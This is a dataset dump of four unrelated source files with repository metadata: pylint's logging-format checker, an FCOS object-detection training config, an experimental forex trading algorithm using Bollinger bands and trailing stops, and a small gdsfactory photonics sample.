refs/heads/main
2023-08-28T11:31:07.916714
2021-10-14T09:41:13
2021-10-14T09:41:13
414,847,553
1
0
null
null
null
null
UTF-8
Python
false
false
16,334
py
# -*- coding: utf-8 -*- # Copyright (c) 2009-2011, 2013-2014 LOGILAB S.A. (Paris, FRANCE) <contact@logilab.fr> # Copyright (c) 2009, 2012, 2014 Google, Inc. # Copyright (c) 2012 Mike Bryant <leachim@leachim.info> # Copyright (c) 2014 Brett Cannon <brett@python.org> # Copyright (c) 2014 Arun Persaud <arun@nubati.net> # Copyright (c) 2015-2020 Claudiu Popa <pcmanticore@gmail.com> # Copyright (c) 2015 Ionel Cristian Maries <contact@ionelmc.ro> # Copyright (c) 2016, 2019-2020 Ashley Whetter <ashley@awhetter.co.uk> # Copyright (c) 2016 Chris Murray <chris@chrismurray.scot> # Copyright (c) 2017 guillaume2 <guillaume.peillex@gmail.col> # Copyright (c) 2017 Łukasz Rogalski <rogalski.91@gmail.com> # Copyright (c) 2018 Alan Chan <achan961117@gmail.com> # Copyright (c) 2018 Yury Gribov <tetra2005@gmail.com> # Copyright (c) 2018 Mike Frysinger <vapier@gmail.com> # Copyright (c) 2018 Mariatta Wijaya <mariatta@python.org> # Copyright (c) 2019 Djailla <bastien.vallet@gmail.com> # Copyright (c) 2019 Pierre Sassoulas <pierre.sassoulas@gmail.com> # Copyright (c) 2019 Svet <svet@hyperscience.com> # Copyright (c) 2020 Anthony Sottile <asottile@umich.edu> # Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html # For details: https://github.com/PyCQA/pylint/blob/master/COPYING """checker for use of Python logging """ import string import astroid from pylint import checkers, interfaces from pylint.checkers import utils from pylint.checkers.utils import check_messages MSGS = { "W1201": ( "Use %s formatting in logging functions", "logging-not-lazy", "Used when a logging statement has a call form of " '"logging.<logging method>(format_string % (format_args...))". ' "Use another type of string formatting instead. " "You can use % formatting but leave interpolation to " "the logging function by passing the parameters as arguments. " "If logging-fstring-interpolation is disabled then " "you can use fstring formatting. " "If logging-format-interpolation is disabled then " "you can use str.format.", ), "W1202": ( "Use %s formatting in logging functions", "logging-format-interpolation", "Used when a logging statement has a call form of " '"logging.<logging method>(format_string.format(format_args...))". ' "Use another type of string formatting instead. " "You can use % formatting but leave interpolation to " "the logging function by passing the parameters as arguments. " "If logging-fstring-interpolation is disabled then " "you can use fstring formatting. " "If logging-not-lazy is disabled then " "you can use % formatting as normal.", ), "W1203": ( "Use %s formatting in logging functions", "logging-fstring-interpolation", "Used when a logging statement has a call form of " '"logging.<logging method>(f"...")".' "Use another type of string formatting instead. " "You can use % formatting but leave interpolation to " "the logging function by passing the parameters as arguments. " "If logging-format-interpolation is disabled then " "you can use str.format. " "If logging-not-lazy is disabled then " "you can use % formatting as normal.", ), "E1200": ( "Unsupported logging format character %r (%#02x) at index %d", "logging-unsupported-format", "Used when an unsupported format character is used in a logging " "statement format string.", ), "E1201": ( "Logging format string ends in middle of conversion specifier", "logging-format-truncated", "Used when a logging statement format string terminates before " "the end of a conversion specifier.", ), "E1205": ( "Too many arguments for logging format string", "logging-too-many-args", "Used when a logging format string is given too many arguments.", ), "E1206": ( "Not enough arguments for logging format string", "logging-too-few-args", "Used when a logging format string is given too few arguments.", ), } CHECKED_CONVENIENCE_FUNCTIONS = { "critical", "debug", "error", "exception", "fatal", "info", "warn", "warning", } def is_method_call(func, types=(), methods=()): """Determines if a BoundMethod node represents a method call. Args: func (astroid.BoundMethod): The BoundMethod AST node to check. types (Optional[String]): Optional sequence of caller type names to restrict check. methods (Optional[String]): Optional sequence of method names to restrict check. Returns: bool: true if the node represents a method call for the given type and method names, False otherwise. """ return ( isinstance(func, astroid.BoundMethod) and isinstance(func.bound, astroid.Instance) and (func.bound.name in types if types else True) and (func.name in methods if methods else True) ) class LoggingChecker(checkers.BaseChecker): """Checks use of the logging module.""" __implements__ = interfaces.IAstroidChecker name = "logging" msgs = MSGS options = ( ( "logging-modules", { "default": ("logging",), "type": "csv", "metavar": "<comma separated list>", "help": "Logging modules to check that the string format " "arguments are in logging function parameter format.", }, ), ( "logging-format-style", { "default": "old", "type": "choice", "metavar": "<old (%) or new ({)>", "choices": ["old", "new"], "help": "The type of string formatting that logging methods do. " "`old` means using % formatting, `new` is for `{}` formatting.", }, ), ) def visit_module(self, node): # pylint: disable=unused-argument """Clears any state left in this checker from last module checked.""" # The code being checked can just as easily "import logging as foo", # so it is necessary to process the imports and store in this field # what name the logging module is actually given. self._logging_names = set() logging_mods = self.config.logging_modules self._format_style = self.config.logging_format_style self._logging_modules = set(logging_mods) self._from_imports = {} for logging_mod in logging_mods: parts = logging_mod.rsplit(".", 1) if len(parts) > 1: self._from_imports[parts[0]] = parts[1] def visit_importfrom(self, node): """Checks to see if a module uses a non-Python logging module.""" try: logging_name = self._from_imports[node.modname] for module, as_name in node.names: if module == logging_name: self._logging_names.add(as_name or module) except KeyError: pass def visit_import(self, node): """Checks to see if this module uses Python's built-in logging.""" for module, as_name in node.names: if module in self._logging_modules: self._logging_names.add(as_name or module) @check_messages(*MSGS) def visit_call(self, node): """Checks calls to logging methods.""" def is_logging_name(): return ( isinstance(node.func, astroid.Attribute) and isinstance(node.func.expr, astroid.Name) and node.func.expr.name in self._logging_names ) def is_logger_class(): try: for inferred in node.func.infer(): if isinstance(inferred, astroid.BoundMethod): parent = inferred._proxied.parent if isinstance(parent, astroid.ClassDef) and ( parent.qname() == "logging.Logger" or any( ancestor.qname() == "logging.Logger" for ancestor in parent.ancestors() ) ): return True, inferred._proxied.name except astroid.exceptions.InferenceError: pass return False, None if is_logging_name(): name = node.func.attrname else: result, name = is_logger_class() if not result: return self._check_log_method(node, name) def _check_log_method(self, node, name): """Checks calls to logging.log(level, format, *format_args).""" if name == "log": if node.starargs or node.kwargs or len(node.args) < 2: # Either a malformed call, star args, or double-star args. Beyond # the scope of this checker. return format_pos = 1 elif name in CHECKED_CONVENIENCE_FUNCTIONS: if node.starargs or node.kwargs or not node.args: # Either no args, star args, or double-star args. Beyond the # scope of this checker. return format_pos = 0 else: return if isinstance(node.args[format_pos], astroid.BinOp): binop = node.args[format_pos] emit = binop.op == "%" if binop.op == "+": total_number_of_strings = sum( 1 for operand in (binop.left, binop.right) if self._is_operand_literal_str(utils.safe_infer(operand)) ) emit = total_number_of_strings > 0 if emit: self.add_message( "logging-not-lazy", node=node, args=(self._helper_string(node),), ) elif isinstance(node.args[format_pos], astroid.Call): self._check_call_func(node.args[format_pos]) elif isinstance(node.args[format_pos], astroid.Const): self._check_format_string(node, format_pos) elif isinstance(node.args[format_pos], astroid.JoinedStr): self.add_message( "logging-fstring-interpolation", node=node, args=(self._helper_string(node),), ) def _helper_string(self, node): """Create a string that lists the valid types of formatting for this node.""" valid_types = ["lazy %"] if not self.linter.is_message_enabled( "logging-fstring-formatting", node.fromlineno ): valid_types.append("fstring") if not self.linter.is_message_enabled( "logging-format-interpolation", node.fromlineno ): valid_types.append(".format()") if not self.linter.is_message_enabled("logging-not-lazy", node.fromlineno): valid_types.append("%") return " or ".join(valid_types) @staticmethod def _is_operand_literal_str(operand): """ Return True if the operand in argument is a literal string """ return isinstance(operand, astroid.Const) and operand.name == "str" def _check_call_func(self, node): """Checks that function call is not format_string.format(). Args: node (astroid.node_classes.Call): Call AST node to be checked. """ func = utils.safe_infer(node.func) types = ("str", "unicode") methods = ("format",) if is_method_call(func, types, methods) and not is_complex_format_str( func.bound ): self.add_message( "logging-format-interpolation", node=node, args=(self._helper_string(node),), ) def _check_format_string(self, node, format_arg): """Checks that format string tokens match the supplied arguments. Args: node (astroid.node_classes.NodeNG): AST node to be checked. format_arg (int): Index of the format string in the node arguments. """ num_args = _count_supplied_tokens(node.args[format_arg + 1 :]) if not num_args: # If no args were supplied the string is not interpolated and can contain # formatting characters - it's used verbatim. Don't check any further. return format_string = node.args[format_arg].value required_num_args = 0 if isinstance(format_string, bytes): format_string = format_string.decode() if isinstance(format_string, str): try: if self._format_style == "old": keyword_args, required_num_args, _, _ = utils.parse_format_string( format_string ) if keyword_args: # Keyword checking on logging strings is complicated by # special keywords - out of scope. return elif self._format_style == "new": ( keyword_arguments, implicit_pos_args, explicit_pos_args, ) = utils.parse_format_method_string(format_string) keyword_args_cnt = len( {k for k, l in keyword_arguments if not isinstance(k, int)} ) required_num_args = ( keyword_args_cnt + implicit_pos_args + explicit_pos_args ) except utils.UnsupportedFormatCharacter as ex: char = format_string[ex.index] self.add_message( "logging-unsupported-format", node=node, args=(char, ord(char), ex.index), ) return except utils.IncompleteFormatString: self.add_message("logging-format-truncated", node=node) return if num_args > required_num_args: self.add_message("logging-too-many-args", node=node) elif num_args < required_num_args: self.add_message("logging-too-few-args", node=node) def is_complex_format_str(node): """Checks if node represents a string with complex formatting specs. Args: node (astroid.node_classes.NodeNG): AST node to check Returns: bool: True if inferred string uses complex formatting, False otherwise """ inferred = utils.safe_infer(node) if inferred is None or not ( isinstance(inferred, astroid.Const) and isinstance(inferred.value, str) ): return True try: parsed = list(string.Formatter().parse(inferred.value)) except ValueError: # This format string is invalid return False for _, _, format_spec, _ in parsed: if format_spec: return True return False def _count_supplied_tokens(args): """Counts the number of tokens in an args list. The Python log functions allow for special keyword arguments: func, exc_info and extra. To handle these cases correctly, we only count arguments that aren't keywords. Args: args (list): AST nodes that are arguments for a log format string. Returns: int: Number of AST nodes that aren't keywords. """ return sum(1 for arg in args if not isinstance(arg, astroid.Keyword)) def register(linter): """Required method to auto-register this checker.""" linter.register_checker(LoggingChecker(linter))
[ "noreply@github.com" ]
noreply@github.com
f0ac7f36ebe9a2ecc3df8f36c5b37c55347462fa
cec10c52b4f879161928da88ed9294007874f50f
/libs/configs/cfgs_fcos_coco_res50_1x_v3.py
a950340aa0304fd7c7051b6c4b5437e073af1639
[ "MIT" ]
permissive
g-thebest/FCOS_Tensorflow
676ea7ec358de248860238c0c00817dd6176bfb7
b39b621c9a84dcb4baad25637e7758dcd31707f5
refs/heads/master
2021-11-04T21:39:47.093239
2019-04-28T09:25:26
2019-04-28T09:25:26
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,115
py
# -*- coding: utf-8 -*- from __future__ import division, print_function, absolute_import import os import math import tensorflow as tf import numpy as np # ------------------------------------------------ VERSION = 'FCOS_Res50_20190427' NET_NAME = 'resnet50_v1d' # 'resnet_v1_50' ADD_BOX_IN_TENSORBOARD = True # ---------------------------------------- System_config ROOT_PATH = os.path.abspath('../') print(20*"++--") print(ROOT_PATH) GPU_GROUP = "0,1,2,3,4,5,6,7" NUM_GPU = len(GPU_GROUP.strip().split(',')) SHOW_TRAIN_INFO_INTE = 10 SMRY_ITER = 100 SAVE_WEIGHTS_INTE = 80000 SUMMARY_PATH = ROOT_PATH + '/output/summary' TEST_SAVE_PATH = ROOT_PATH + '/tools/test_result' INFERENCE_IMAGE_PATH = ROOT_PATH + '/tools/inference_image' INFERENCE_SAVE_PATH = ROOT_PATH + '/tools/inference_results' if NET_NAME.startswith("resnet"): weights_name = NET_NAME elif NET_NAME.startswith("MobilenetV2"): weights_name = "mobilenet/mobilenet_v2_1.0_224" else: raise NotImplementedError PRETRAINED_CKPT = ROOT_PATH + '/data/pretrained_weights/' + weights_name + '.ckpt' TRAINED_CKPT = os.path.join(ROOT_PATH, 'output/trained_weights') EVALUATE_DIR = ROOT_PATH + '/output/evaluate_result_pickle/' # ------------------------------------------ Train config FIXED_BLOCKS = 1 # allow 0~3 FREEZE_BLOCKS = [True, False, False, False, False] # for gluoncv backbone USE_07_METRIC = False MUTILPY_BIAS_GRADIENT = None # 2.0 # if None, will not multipy GRADIENT_CLIPPING_BY_NORM = None # 10.0 if None, will not clip BATCH_SIZE = 1 EPSILON = 1e-5 MOMENTUM = 0.9 LR = 5e-4 * NUM_GPU * BATCH_SIZE DECAY_STEP = [SAVE_WEIGHTS_INTE*12, SAVE_WEIGHTS_INTE*16, SAVE_WEIGHTS_INTE*20] MAX_ITERATION = SAVE_WEIGHTS_INTE*20 WARM_SETP = int(0.125 * SAVE_WEIGHTS_INTE) # -------------------------------------------- Data_preprocess_config DATASET_NAME = 'coco' PIXEL_MEAN = [123.68, 116.779, 103.939] # R, G, B. In tf, channel is RGB. In openCV, channel is BGR PIXEL_MEAN_ = [0.485, 0.456, 0.406] PIXEL_STD = [0.229, 0.224, 0.225] IMG_SHORT_SIDE_LEN = 800 IMG_MAX_LENGTH = 1333 CLASS_NUM = 80 # --------------------------------------------- Network_config SUBNETS_WEIGHTS_INITIALIZER = tf.random_normal_initializer(mean=0.0, stddev=0.01, seed=None) SUBNETS_BIAS_INITIALIZER = tf.constant_initializer(value=0.0) FINAL_CONV_WEIGHTS_INITIALIZER = tf.random_normal_initializer(mean=0.0, stddev=0.01, seed=None) PROBABILITY = 0.01 FINAL_CONV_BIAS_INITIALIZER = tf.constant_initializer(value=-np.log((1.0 - PROBABILITY) / PROBABILITY)) WEIGHT_DECAY = 0.00004 if NET_NAME.startswith('Mobilenet') else 0.0001 # ---------------------------------------------Anchor config USE_CENTER_OFFSET = True LEVLES = ['P3', 'P4', 'P5', 'P6', 'P7'] BASE_ANCHOR_SIZE_LIST = [32, 64, 128, 256, 512] ANCHOR_STRIDE_LIST = [8, 16, 32, 64, 128] SET_WIN = np.asarray([0, 64, 128, 256, 512, 1e5]) * IMG_SHORT_SIDE_LEN / 800 # --------------------------------------------FPN config SHARE_HEADS = True ALPHA = 0.25 GAMMA = 2 NMS = True NMS_IOU_THRESHOLD = 0.5 NMS_TYPE = 'NMS' MAXIMUM_DETECTIONS = 300 FILTERED_SCORES = 0.15 SHOW_SCORE_THRSHOLD = 0.2
[ "yangxue@megvii.com" ]
yangxue@megvii.com
2eceb12bbf0a752e6c08467492c21b7d4620cbc5
d91f23534d9af0128011d38132dbefd8b508f1c1
/trade_algorithm/multi_algo_simple_20180709.py
4528cab760c004a0c372c59d2c89bfbdd34ccea4
[]
no_license
tomoyanp/oanda_dev
06bd904cd0d60e072a0627a81b1db384e1e292a5
c35da11f30e6b4160d16f768ce5d8d0714c2b55d
refs/heads/master
2021-01-10T22:55:51.639812
2018-08-21T01:03:27
2018-08-21T01:03:27
70,463,447
2
0
null
null
null
null
UTF-8
Python
false
false
21,729
py
# coding: utf-8 #################################################### # Trade Decision # trade timing: at 13, 14, 15, 20, 21 o'clock # if endprice over bollinger band 2sigma 2 times # stoploss rate: 20pips # takeprofit rate: 50pips #################################################### from super_algo import SuperAlgo from common import instrument_init, account_init, decideMarket, getSlope, getEWMA from get_indicator import getBollingerWrapper, getVolatilityPriceWrapper, getHighlowPriceWrapper, getLastPriceWrapper, getWeekStartPrice from trade_calculator import decideLowExceedPrice, decideLowSurplusPrice, decideHighExceedPrice, decideHighSurplusPrice, decideVolatility, decideDailyVolatilityPrice from mysql_connector import MysqlConnector from datetime import datetime, timedelta from logging import getLogger, FileHandler, DEBUG class MultiAlgo(SuperAlgo): def __init__(self, instrument, base_path, config_name, base_time): super(MultiAlgo, self).__init__(instrument, base_path, config_name, base_time) self.base_price = 0 self.setPrice(base_time) self.debug_logger = getLogger("debug") self.result_logger = getLogger("result") self.mysql_connector = MysqlConnector() self.first_flag = self.config_data["first_trail_mode"] self.second_flag = self.config_data["second_trail_mode"] self.most_high_price = 0 self.most_low_price = 0 self.mode = "" self.buy_count = 0 self.buy_count_price = 0 self.sell_count = 0 self.sell_count_price = 0 self.original_stoploss_rate = 0 self.week_start_price = 0 self.count_threshold = 1 self.stoploss_flag = False self.algorithm = "" self.log_max_price = 0 self.log_min_price = 0 self.first_flag = "pass" self.second_flag = "pass" self.first_flag_time = None self.second_flag_time = None self.setExpantionIndicator(base_time) #self.setVolatilityIndicator(base_time) self.setDailyIndicator(base_time) # decide trade entry timing def decideTrade(self, base_time): trade_flag = "pass" try: if self.order_flag: pass else: # if 1 == 1: weekday = base_time.weekday() hour = base_time.hour minutes = base_time.minute seconds = base_time.second current_price = self.getCurrentPrice() if hour == 7 and minutes == 0 and seconds < 10: self.setDailyIndicator(base_time) # if weekday == Saturday, we will have no entry. if weekday == 5 and hour >= 5: trade_flag = "pass" self.buy_count = 0 self.sell_count = 0 else: # if spread rate is greater than 0.5, we will have no entry if (self.ask_price - self.bid_price) >= 0.5: pass else: #if ((hour == 9 or hour == 10 or hour == 13 or hour == 14 or hour == 15 or hour == 18 or hour == 20 or hour == 21) and minutes <= 10): # if (hour == 13 or hour == 14 or hour == 15 or hour == 18 or hour == 20 or hour == 21) and (minutes == 10 or minutes == 40): if (hour == 13 or hour == 14 or hour == 15 or hour == 20 or hour == 21) and (minutes == 10): # if 1==1: # trade_flag = self.decideVolatilityTrade(trade_flag, current_price, base_time) trade_flag = self.decideExpantionTrade(trade_flag, current_price, base_time) if trade_flag != "pass" and self.order_flag: if trade_flag == "buy" and self.order_kind == "buy": trade_flag = "pass" elif trade_flag == "sell" and self.order_kind == "sell": trade_flag = "pass" else: self.result_logger.info("# execute all over the world at MultiAlgo") self.writeDebugLog(base_time, mode="trade") return trade_flag except: raise # settlement logic def decideStl(self, base_time): try: stl_flag = False ex_stlmode = self.config_data["ex_stlmode"] if self.order_flag: if ex_stlmode == "on": weekday = base_time.weekday() hour = base_time.hour minutes = base_time.minute seconds = base_time.second current_price = self.getCurrentPrice() self.updatePrice(current_price) if hour == 7 and minutes == 0 and seconds < 10: self.setDailyIndicator(base_time) # if weekday == Saturday, we will settle one's position. if weekday == 5 and hour >= 5: self.result_logger.info("# weekend stl logic") stl_flag = True else: stl_flag = self.decideCommonStoploss(stl_flag, current_price, base_time) stl_flag = self.decideTrailLogic(stl_flag, self.ask_price, self.bid_price, base_time) else: pass self.writeDebugLog(base_time, mode="stl") return stl_flag except: raise # def calcBuyExpantion(self, current_price, base_time): def calcBuyExpantion(self, base_time): # when current_price touch reversed sigma, count = 0 # when value is bigger than 2 between upper 3sigma and lower 3sigma, bollinger band base line's slope is bigger than 0, # count += 1 self.buy_count = 0 for i in range(0, len(self.upper_sigma_5m3_list)): if self.end_price_5m_list[i] > self.upper_sigma_5m3_list[i]: self.buy_count = self.buy_count + 1 # if self.buy_count == 0: # if float(current_price) > float(self.upper_sigma_5m3) and (self.upper_sigma_1h3 - self.lower_sigma_1h3) < 2: # self.buy_count = self.buy_count + 1 # self.buy_count_price = current_price # self.sell_count = 0 # # else: # if float(current_price) > float(self.upper_sigma_5m3) and float(current_price) > float(self.buy_count_price) and (self.upper_sigma_1h3 - self.lower_sigma_1h3) < 2: # self.buy_count = self.buy_count + 1 # self.first_flag_time = base_time # self.sell_count = 0 # self.buy_count_price = current_price # def calcSellExpantion(self, current_price, base_time): def calcSellExpantion(self, base_time): self.sell_count = 0 for i in range(0, len(self.lower_sigma_5m3_list)): if self.end_price_5m_list[i] < self.lower_sigma_5m3_list[i]: self.sell_count = self.sell_count + 1 # if self.sell_count == 0: # if float(current_price) < float(self.lower_sigma_5m3) and (self.upper_sigma_1h3 - self.lower_sigma_1h3) < 2: # self.sell_count = self.sell_count + 1 # self.sell_count_price = current_price # self.buy_count = 0 # # else: # if float(current_price) < float(self.lower_sigma_5m3) and float(current_price) < float(self.sell_count_price) and (self.upper_sigma_1h3 - self.lower_sigma_1h3) < 2: # self.sell_count = self.sell_count + 1 # self.first_flag_time = base_time # self.buy_count = 0 def decideHighLowPrice(self, current_price, exceed_th, surplus_th, high_price, low_price, mode): flag = False if mode == "buy": if current_price > (high_price + exceed_th): flag = True elif current_price < (high_price - surplus_th): flag = True elif mode == "sell": if current_price < (low_price - exceed_th): flag = True elif current_price > (low_price + surplus_th): flag = True return flag # cannot allovertheworld def decideExpantionTrade(self, trade_flag, current_price, base_time): if trade_flag == "pass": hour = base_time.hour minutes = base_time.minute seconds = base_time.second expantion_timelimit = 3 # 3hours # if minutes == 10 and seconds < 10: if seconds < 10: self.setExpantionIndicator(base_time) if self.upper_sigma_5m2_list[0] < self.end_price_5m_list[0] and self.upper_sigma_5m2_list[1] < self.end_price_5m_list[1]: trade_flag = "buy" self.algorithm = "expantion" elif self.lower_sigma_5m2_list[0] > self.end_price_5m_list[0] and self.lower_sigma_5m2_list[1] > self.end_price_5m_list[1]: trade_flag = "sell" self.algorithm = "expantion" self.setExpantionStoploss(trade_flag) return trade_flag def decideVolatilityTrade(self, trade_flag, current_price, base_time): if trade_flag == "pass": hour = base_time.hour seconds = base_time.second common_stoploss = 0.2 if (hour >= 15 or hour < 4) and seconds < 10: self.setVolatilityIndicator(base_time) up_flag, down_flag = decideVolatility(volatility_value=0.3, start_price=self.start_price_1m, end_price=self.end_price_1m) if up_flag: trade_flag = "buy" self.buy_count = 0 self.sell_count = 0 self.original_stoploss_rate = common_stoploss self.algorithm = "volatility" elif down_flag: trade_flag = "sell" self.buy_count = 0 self.sell_count = 0 self.original_stoploss_rate = common_stoploss self.algorithm = "volatility" return trade_flag def setExpantionStoploss(self, trade_flag): # if trade_flag != "pass" and self.algorithm == "expantion": if trade_flag != "pass": if trade_flag == "buy" and self.daily_slope > 0: self.original_stoploss_rate = 0.2 elif trade_flag == "buy" and self.daily_slope < 0: self.original_stoploss_rate = 0.2 elif trade_flag == "sell" and self.daily_slope < 0: self.original_stoploss_rate = 0.2 elif trade_flag == "sell" and self.daily_slope > 0: self.original_stoploss_rate = 0.2 def decideCommonStoploss(self, stl_flag, current_price, base_time): if self.algorithm == "expantion" or self.algorithm == "volatility" or self.algorithm == "reverse": minutes = base_time.minute seconds = base_time.second if minutes % 5 == 0 and seconds < 10: if self.order_kind == "buy": if (self.order_price - self.bid_price) > self.original_stoploss_rate: self.result_logger.info("# execute common stoploss") stl_flag = True elif self.order_kind == "sell": if (self.ask_price - self.order_price) > self.original_stoploss_rate: self.result_logger.info("# execute common stoploss") stl_flag = True return stl_flag def updatePrice(self, current_price): if self.log_max_price == 0: self.log_max_price = current_price elif self.log_max_price < current_price: self.log_max_price = current_price if self.log_min_price == 0: self.log_min_price = current_price elif self.log_min_price > current_price: self.log_min_price = current_price # trail settlement function def decideTrailLogic(self, stl_flag, current_ask_price, current_bid_price, base_time): minutes = base_time.minute seconds = base_time.second if minutes % 5 == 0 and seconds < 10: order_price = self.getOrderPrice() first_take_profit = 0.5 second_take_profit = 1.0 # update the most high and low price if self.most_high_price == 0 and self.most_low_price == 0: self.most_high_price = order_price self.most_low_price = order_price if self.most_high_price < current_bid_price: self.most_high_price = current_bid_price if self.most_low_price > current_ask_price: self.most_low_price = current_ask_price # first trailing stop logic if self.order_kind == "buy": if (current_bid_price - order_price) > first_take_profit: self.trail_flag = True elif self.order_kind == "sell": if (order_price - current_ask_price) > first_take_profit: self.trail_flag = True if self.trail_flag == True and self.order_kind == "buy": if (self.most_high_price - 0.3) > current_bid_price: self.result_logger.info("# Execute FirstTrail Stop") stl_flag = True elif self.trail_flag == True and self.order_kind == "sell": if (self.most_low_price + 0.3) < current_ask_price : self.result_logger.info("# Execute FirstTrail Stop") stl_flag = True # second trailing stop logic if self.order_kind == "buy": if (current_bid_price - order_price) > second_take_profit: self.trail_second_flag = True elif self.order_kind == "sell": if (order_price - current_ask_price) > second_take_profit: self.trail_second_flag = True if self.trail_second_flag == True and self.order_kind == "buy": if (self.most_high_price - 0.3) > current_bid_price: self.result_logger.info("# Execute SecondTrail Stop") stl_flag = True elif self.trail_second_flag == True and self.order_kind == "sell": if (self.most_low_price + 0.3) < current_ask_price : self.result_logger.info("# Execute SecondTrail Stop") stl_flag = True return stl_flag # reset flag and valiables function after settlement def resetFlag(self): self.most_high_price = 0 self.most_low_price = 0 self.stoploss_flag = False self.algorithm = "" self.log_max_price = 0 self.log_min_price = 0 self.first_flag = "pass" self.second_flag = "pass" self.first_flag_time = None self.second_flag_time = None super(MultiAlgo, self).resetFlag() # set Indicator dataset function def getDailySlope(self, instrument, target_time, span, connector): table_type = "day" sql = "select end_price from %s_%s_TABLE where insert_time < \'%s\' order by insert_time desc limit %s" % (instrument, table_type, target_time, span) response = connector.select_sql(sql) price_list = [] for res in response: price_list.append(res[0]) price_list.reverse() slope = getSlope(price_list) return slope def setExpantionIndicator(self, base_time): # set dataset 5minutes target_time = base_time - timedelta(minutes=5) # set 5m 3sigma bollinger band dataset = getBollingerWrapper(target_time, self.instrument, table_type="5m", window_size=28, connector=self.mysql_connector, sigma_valiable=2, length=1) self.upper_sigma_5m2_list = dataset["upper_sigmas"][-2:] self.lower_sigma_5m2_list = dataset["lower_sigmas"][-2:] self.base_line_5m2_list = dataset["base_lines"][-2:] # set 5m 3sigma bollinger band dataset = getBollingerWrapper(target_time, self.instrument, table_type="5m", window_size=28, connector=self.mysql_connector, sigma_valiable=3, length=1) self.upper_sigma_5m3_list = dataset["upper_sigmas"][-2:] self.lower_sigma_5m3_list = dataset["lower_sigmas"][-2:] self.base_line_5m3_list = dataset["base_lines"][-2:] # set 5m end price list sql = "select end_price from %s_%s_TABLE where insert_time < \'%s\' order by insert_time desc limit 2" % (self.instrument, "5m", target_time) response = self.mysql_connector.select_sql(sql) tmp = [] for res in response: tmp.append(res[0]) tmp.reverse() self.end_price_5m_list = tmp # set 5m ema value width = 20 sql = "select end_price from %s_%s_TABLE where insert_time < \'%s\' order by insert_time desc limit %s" % (self.instrument, "5m", target_time, width) response = self.mysql_connector.select_sql(sql) tmp = [] for res in response: tmp.append(res[0]) tmp.reverse() self.ewma20_5mvalue = getEWMA(tmp, len(tmp))[-1] # set dataset 1hour target_time = base_time - timedelta(hours=1) # set 1h 3sigma bollinger band dataset = getBollingerWrapper(target_time, self.instrument, table_type="1h", window_size=28, connector=self.mysql_connector, sigma_valiable=3, length=0) self.upper_sigma_1h3 = dataset["upper_sigmas"][-1] self.lower_sigma_1h3 = dataset["lower_sigmas"][-1] self.base_line_1h3 = dataset["base_lines"][-1] def setVolatilityIndicator(self, base_time): target_time = base_time - timedelta(minutes=5) sql = "select start_price, end_price from %s_%s_TABLE where insert_time < \'%s\' order by insert_time desc limit 1" % (self.instrument, "5m", target_time) response = self.mysql_connector.select_sql(sql) self.start_price_1m = response[0][0] self.end_price_1m = response[0][1] def setDailyIndicator(self, base_time): target_time = base_time - timedelta(days=1) self.daily_slope = self.getDailySlope(self.instrument, target_time, span=10, connector=self.mysql_connector) sql = "select max_price, min_price from %s_%s_TABLE where insert_time < \'%s\' order by insert_time desc limit 1" % (self.instrument, "day", target_time) response = self.mysql_connector.select_sql(sql) self.high_price = response[0][0] self.low_price = response[0][1] # write log function def writeDebugLog(self, base_time, mode): self.debug_logger.info("%s: %s Logic START" % (base_time, mode)) # self.debug_logger.info("# self.buy_count=%s" % self.buy_count) # self.debug_logger.info("# self.sell_count=%s" % self.sell_count) # self.debug_logger.info("# self.daily_slope=%s" % self.daily_slope) # self.debug_logger.info("# self.upper_sigma_1h3=%s" % self.upper_sigma_1h3) # self.debug_logger.info("# self.lower_sigma_1h3=%s" % self.lower_sigma_1h3) # self.debug_logger.info("# self.upper_sigma_5m3=%s" % self.upper_sigma_5m3) # self.debug_logger.info("# self.lower_sigma_5m3=%s" % self.lower_sigma_5m3) # self.debug_logger.info("# self.start_price_5m=%s" % self.start_price_5m) # self.debug_logger.info("# self.end_price_5m=%s" % self.end_price_5m) # self.debug_logger.info("# self.start_price_1m=%s" % self.start_price_1m) # self.debug_logger.info("# self.end_price_1m=%s" % self.end_price_1m) # self.debug_logger.info("#############################################") def entryLogWrite(self, base_time): self.result_logger.info("#######################################################") self.result_logger.info("# in %s Algorithm" % self.algorithm) self.result_logger.info("# EXECUTE ORDER at %s" % base_time) self.result_logger.info("# ORDER_PRICE=%s, TRADE_FLAG=%s" % (self.order_price, self.order_kind)) self.result_logger.info("# self.first_flag_time=%s" % self.first_flag_time) self.result_logger.info("# self.second_flag_time=%s" % self.second_flag_time) self.result_logger.info("# self.daily_slope=%s" % self.daily_slope) self.result_logger.info("# self.upper_sigma_1h3=%s" % self.upper_sigma_1h3) self.result_logger.info("# self.lower_sigma_1h3=%s" % self.lower_sigma_1h3) # self.result_logger.info("# self.upper_sigma_5m3=%s" % self.upper_sigma_5m3) # self.result_logger.info("# self.lower_sigma_5m3=%s" % self.lower_sigma_5m3) # self.result_logger.info("# self.start_price_5m=%s" % self.start_price_5m) # self.result_logger.info("# self.end_price_5m=%s" % self.end_price_5m) # self.result_logger.info("# self.start_price_1m=%s" % self.start_price_1m) # self.result_logger.info("# self.end_price_1m=%s" % self.end_price_1m) self.result_logger.info("# self.original_stoploss_rate=%s" % self.original_stoploss_rate) def settlementLogWrite(self, profit, base_time, stl_price, stl_method): self.result_logger.info("# self.log_max_price=%s" % self.log_max_price) self.result_logger.info("# self.log_min_price=%s" % self.log_min_price) self.result_logger.info("# EXECUTE SETTLEMENT at %s" % base_time) self.result_logger.info("# STL_PRICE=%s" % stl_price) self.result_logger.info("# PROFIT=%s" % profit)
[ "tomoyanpy@gmail.com" ]
tomoyanpy@gmail.com
a039c87a5a88189abe2b4e273680d7baae5b9f8b
17268419060d62dabb6e9b9ca70742f0a5ba1494
/pp/samples/21_add_fiber_array.py
36357d855e4a117e710cb118a97380217da53c98
[ "MIT" ]
permissive
TrendingTechnology/gdsfactory
a19124423b12cbbb4f35b61f33303e9a012f82e5
c968558dba1bae7a0421bdf49dc192068147b776
refs/heads/master
2023-02-22T03:05:16.412440
2021-01-24T03:38:00
2021-01-24T03:38:00
null
0
0
null
null
null
null
UTF-8
Python
false
false
365
py
"""Connecting a component with I/O. """ import pp from pp.samples.big_device import big_device def test_big_device(): component = big_device(N=10) bend_radius = 5.0 c = pp.routing.add_fiber_array( component, bend_radius=bend_radius, fanout_length=50.0 ) return c if __name__ == "__main__": c = test_big_device() pp.show(c)
[ "noreply@github.com" ]
noreply@github.com
90ebd3affb72458dc57353b0c7de189c1bd3b8ad
